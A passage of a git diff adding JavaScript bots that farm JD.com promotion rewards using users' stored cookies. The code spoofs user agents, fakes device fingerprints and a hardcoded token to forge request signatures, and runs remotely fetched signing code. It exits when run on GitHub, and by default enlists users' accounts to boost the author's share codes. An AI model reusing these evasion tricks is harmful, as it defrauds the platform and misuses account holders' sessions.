$.todayinJxBean += Number(item.amount); + } else if (Number(item.amount) < 0) { + $.todayOutJxBean += Number(item.amount); + } + } + $.todayOutJxBean = -$.todayOutJxBean; + $.OutJxBean = -$.OutJxBean; + } + +} + +function GetJoyRuninginfo() { + if (!EnableJoyRun) + return; + + const headers = { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Connection": "keep-alive", + "Content-Length": "376", + "Content-Type": "application/x-www-form-urlencoded", + "Cookie": cookie, + "Host": "api.m.jd.com", + "Origin": "https://joypark.jd.com", + "Referer": "https://joypark.jd.com/", + "User-Agent": $.UA + } + var DateToday = new Date(); + const body = { + 'linkId': 'L-sOanK_5RJCz7I314FpnQ', + 'isFromJoyPark':true, + 'joyLinkId':'LsQNxL7iWDlXUs6cFl-AAg' + }; + const options = { + url: `https://api.m.jd.com/?functionId=runningPageHome&body=${encodeURIComponent(JSON.stringify(body))}&t=${DateToday.getTime()}&appid=activities_platform&client=ios&clientVersion=3.8.12`, + headers, + } + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + //console.log(data); + data = JSON.parse(data); + if (data.data.runningHomeInfo.prizeValue) { + $.JoyRunningAmount=data.data.runningHomeInfo.prizeValue * 1; + } + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data) + } + }) + }) +} + +function randomString(e) { + e = e || 32; + let t = "0123456789abcdef", + a = t.length, + n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function getGetRequest(type, url) { + UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + + const method = `GET`; + let headers = { + 'Origin': `https://st.jingxi.com`, + 'Cookie': cookie, + 'Connection': `keep-alive`, + 'Accept': `application/json`, + 'Referer': `https://st.jingxi.com/pingou/jxmc/index.html`, + 'Host': `m.jingxi.com`, + 'User-Agent': UA, + 'Accept-Encoding': `gzip, deflate, br`, + 'Accept-Language': `zh-cn` + }; + return { + url: url, + method: method, + headers: headers, + timeout: 10000 + }; +} + +Date.prototype.Format = function (fmt) { + var e, + n = this, + d = fmt, + l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, + a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +function decrypt(time, stk, type, url) { + $.appId = 10028; + stk = stk || (url ? getJxmcUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.Jxmctoken && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.Jxmctoken, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.Jxmctoken = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.Jxmctoken}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.Jxmctoken).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getJxmcUrlData(url, item)}${index === stk.split(',').length - 1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.Jxmctoken), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + $.appId = 10028; + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + //'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + llgeterror = true; + } else { + if (data) { + data = JSON.parse(data); + if (data['status'] === 200) { + $.Jxmctoken = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) + $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + } else { + console.log('request_algo 签名参数API请求失败:') + } + } else { + llgeterror = true; + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + llgeterror = true; + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0, 16) +} + +function getJxmcUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function timeFormat(time) { + let date; + if (time) { + date = new Date(time) + } else { + date = new Date(); + } + return date.getFullYear() + '-' + ((date.getMonth() + 1) >= 10 ? (date.getMonth() + 1) : '0' + (date.getMonth() + 1)) + '-' + (date.getDate() >= 10 ? date.getDate() : '0' + date.getDate()); +} + + +function GetPigPetInfo() { + if (!EnablePigPet) + return; + return new Promise(async resolve => { + const body = { + "shareId": "", + "source": 2, + "channelLV": "juheye", + "riskDeviceParam": "{}", + } + $.post(taskPetPigUrl('pigPetLogin', body), async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`GetPigPetInfo API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data.resultData.resultData.wished && data.resultData.resultData.wishAward) { + $.PigPet=`${data.resultData.resultData.wishAward.name}` + } + } else { + console.log(`GetPigPetInfo: 京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + + +function taskPetPigUrl(function_id, body) { + var UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148`; + return { + url: `https://ms.jr.jd.com/gw/generic/uc/h5/m/${function_id}?_=${Date.now()}`, + body: `reqData=${encodeURIComponent(JSON.stringify(body))}`, + headers: { + 'Accept': `*/*`, + 'Origin': `https://u.jr.jd.com`, + 'Accept-Encoding': `gzip, deflate, br`, + 'Cookie': cookie, + 'Content-Type': `application/x-www-form-urlencoded;charset=UTF-8`, + 'Host': `ms.jr.jd.com`, + 'Connection': `keep-alive`, + 'User-Agent': UA, + 'Referer': `https://u.jr.jd.com/`, + 'Accept-Language': `zh-cn` + }, + timeout: 10000 + } +} + +function GetDateTime(date) { + + var timeString = ""; + + var timeString = date.getFullYear() + "-"; + if ((date.getMonth() + 1) < 10) + timeString += "0" + (date.getMonth() + 1) + "-"; + else + timeString += (date.getMonth() + 1) + "-"; + + if ((date.getDate()) < 10) + timeString += "0" + date.getDate() + " "; + else + timeString += date.getDate() + " "; + + if ((date.getHours()) < 10) + timeString += "0" + date.getHours() + ":"; + else + timeString += date.getHours() + ":"; + + if ((date.getMinutes()) < 10) + timeString += "0" + date.getMinutes() + ":"; + else + timeString += date.getMinutes() + ":"; + + if ((date.getSeconds()) < 10) + timeString += "0" + date.getSeconds(); + else + timeString += date.getSeconds(); + + return timeString; +} + +// prettier-ignore +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } + : t; + let s = this.get; + return "POST" === e && (s = this.post), + new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, + this.http = new s(this), + this.data = null, + this.dataFile = "box.dat", + this.logs = [], + this.isMute = !1, + this.isNeedRewrite = !1, + this.logSeparator = "\n", + this.startTime = (new Date).getTime(), + Object.assign(this, e), + this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) + try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, + r = e && e.timeout ? e.timeout : r; + const[o, h] = i.split("@"), + n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) + return {}; { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) + return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) + return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const[, s, i] = /^@(.*?)\.(.*?)$/.exec(t), + r = s ? this.getval(s) : ""; + if (r) + try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const[, i, r] = /^@(.*?)\.(.*?)$/.exec(e), + o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), + s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), + s = this.setval(JSON.stringify(o), i) + } + } else + s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), + this.cktough = this.cktough ? this.cktough : require("tough-cookie"), + this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, + t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), + this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), + e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) + this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + }); + else if (this.isQuanX()) + t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) + new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) + return t; + if ("string" == typeof t) + return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } + : this.isSurge() ? { + url: t + } + : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), + s && t.push(s), + i && t.push(i), + console.log(t.join("\n")), + this.logs = this.logs.concat(t) + } + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), + console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), + this.log(), + (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + } + (t, e) +} diff --git a/jd_bean_home.js b/jd_bean_home.js new file mode 100644 index 0000000..febd0b9 --- /dev/null +++ b/jd_bean_home.js @@ -0,0 +1,832 @@ +/* +领京豆额外奖励&抢京豆 +脚本自带助力码,介意者可将 29行 helpAuthor 变量设置为 false +活动入口:京东APP首页-领京豆 +更新地址:https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_bean_home.js +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#领京豆额外奖励 +23 1,12,22 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_bean_home.js, tag=领京豆额外奖励, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_bean_home.png, enabled=true + +================Loon============== +[Script] +cron "23 1,12,22 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_bean_home.js, tag=领京豆额外奖励 + +===============Surge================= +领京豆额外奖励 = type=cron,cronexp="23 1,12,22 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_bean_home.js + +============小火箭========= +领京豆额外奖励 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_bean_home.js, cronexpr="23 1,12,22 * * *", timeout=3600, enable=true + */ +const $ = new Env('领京豆额外奖励'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const helpAuthor = true; // 是否帮助作者助力,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', uuid = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/'; +!(async () => { + $.newShareCodes = [] + $.authorCode = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/jd_updateBeanHome.json') + if (!$.authorCode) { + $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_updateBeanHome.json'}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); + await $.wait(1000) + $.authorCode = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_updateBeanHome.json') || [] + } + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + uuid = randomString() + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdBeanHome(); + } + } + for (let i = 0; i < cookiesArr.length; i++) { + $.index = i + 1; + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.canHelp = true; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + if ($.newShareCodes.length > 1) { + console.log(`\n【抢京豆】 ${$.UserName} 去助力排名第一的cookie`); + // let code = $.newShareCodes[(i + 1) % $.newShareCodes.length] + // await help(code[0], code[1]) + let code = $.newShareCodes[0]; + if(code[2] && code[2] === $.UserName){ + //不助力自己 + } else { + await help(code[0], code[1]); + } + } + if (helpAuthor && $.authorCode && $.canHelp) { + console.log(`\n【抢京豆】${$.UserName} 去帮助作者`) + for (let code of $.authorCode) { + const helpRes = await help(code.shareCode, code.groupCode); + if (helpRes && helpRes['code'] === '0') { + if (helpRes && helpRes.data && helpRes.data.respCode === 'SG209') { + console.log(`${helpRes.data.helpToast}\n`); + break; + } + } else { + console.log(`助力异常:${JSON.stringify(helpRes)}\n`); + } + } + } + for (let j = 1; j < $.newShareCodes.length && $.canHelp; j++) { + let code = $.newShareCodes[j]; + if(code[2] && code[2] === $.UserName){ + //不助力自己 + } else { + console.log(`【抢京豆】${$.UserName} 去助力账号 ${j + 1}`); + await help(code[0], code[1]); + await $.wait(2000); + } + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdBeanHome() { + try { + $.doneState = false + // for (let i = 0; i < 3; ++i) { + // await doTask2() + // await $.wait(1000) + // if ($.doneState) break + // } + do { + await doTask2() + await $.wait(3000) + } while (!$.doneState) + await $.wait(1000) + await award("feeds") + await $.wait(1000) + await getUserInfo() + await $.wait(1000) + await getTaskList(); + await receiveJd2(); + + await morningGetBean() + await $.wait(1000) + + await beanTaskList(1) + await $.wait(1000) + await queryCouponInfo() + $.doneState = false + let num = 0 + do { + await $.wait(2000) + await beanTaskList(2) + num++ + } while (!$.doneState && num < 5) + await $.wait(2000) + if ($.doneState) await beanTaskList(3) + + await showMsg(); + } catch (e) { + $.logErr(e) + } +} + +// 早起福利 +function morningGetBean() { + return new Promise(resolve => { + $.post(taskBeanUrl('morningGetBean', {"fp":"-1","shshshfp":"-1","shshshfpa":"-1","referUrl":"-1","userAgent":"-1","jda":"-1","rnVersion":"3.9"}), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} morningGetBean API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.awardResultFlag === "1") { + console.log(`早起福利领取成功:${data.data.bizMsg}`) + } else if (data.data.awardResultFlag === "2") { + console.log(`早起福利领取失败:${data.data.bizMsg}`) + } else { + console.log(`早起福利领取失败:${data.data.bizMsg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 升级领京豆任务 +async function beanTaskList(type) { + return new Promise(resolve => { + $.post(taskBeanUrl('beanTaskList', {"viewChannel":"myjd"}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} beanTaskList API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + switch (type) { + case 1: + console.log(`当前等级:${data.data.curLevel} 下一级可领取:${data.data.nextLevelBeanNum || 0}京豆`) + if (data.data.viewAppHome) { + if (!data.data.viewAppHome.takenTask) { + console.log(`去做[${data.data.viewAppHome.mainTitle}]`) + await beanHomeIconDoTask({"flag":"0","viewChannel":"myjd"}) + } + await $.wait(2000) + if (!data.data.viewAppHome.doneTask) { + console.log(`去领奖[${data.data.viewAppHome.mainTitle}]`) + await beanHomeIconDoTask({"flag":"1","viewChannel":"AppHome"}) + } else { + console.log(`[${data.data.viewAppHome.mainTitle}]已做完`) + } + } + break + case 2: + $.doneState = true + let taskInfos = data.data.taskInfos + for (let key of Object.keys(taskInfos)) { + let vo = taskInfos[key] + if (vo.times < vo.maxTimes) { + for (let key of Object.keys(vo.subTaskVOS)) { + let taskList = vo.subTaskVOS[key] + if (taskList.status === 1) { + $.doneState = false + console.log(`去做[${vo.taskName}]${taskList.title || ''}`) + await $.wait(2000) + await beanDoTask({"actionType": 1, "taskToken": `${taskList.taskToken}`}, vo.taskType) + if (vo.taskType === 9 || vo.taskType === 8) { + await $.wait(vo.waitDuration * 1000 || 5000) + await beanDoTask({"actionType": 0, "taskToken": `${taskList.taskToken}`}, vo.taskType) + } + } + } + } + } + break + case 3: + let taskInfos3 = data.data.taskInfos + for (let key of Object.keys(taskInfos3)) { + let vo = taskInfos3[key] + if (vo.times === vo.maxTimes) { + console.log(`[${vo.taskName}]已做完`) + } + } + default: + break + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function beanDoTask(body, taskType) { + return new Promise(resolve => { + $.post(taskBeanUrl('beanDoTask', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} beanDoTask API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (body.actionType === 1 && (taskType !== 9 && taskType !== 8)) { + if (data.code === "0" && data.data.bizCode === "0") { + console.log(`完成任务,获得+${data.data.score}成长值`) + } else { + console.log(`完成任务失败:${data}`) + } + } + if (body.actionType === 0) { + if (data.code === "0" && data.data.bizCode === "0") { + console.log(data.data.bizMsg) + } else { + console.log(`完成任务失败:${data}`) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function beanHomeIconDoTask(body) { + return new Promise(resolve => { + $.post(taskBeanUrl('beanHomeIconDoTask', body), (err, resp, data) => { + try 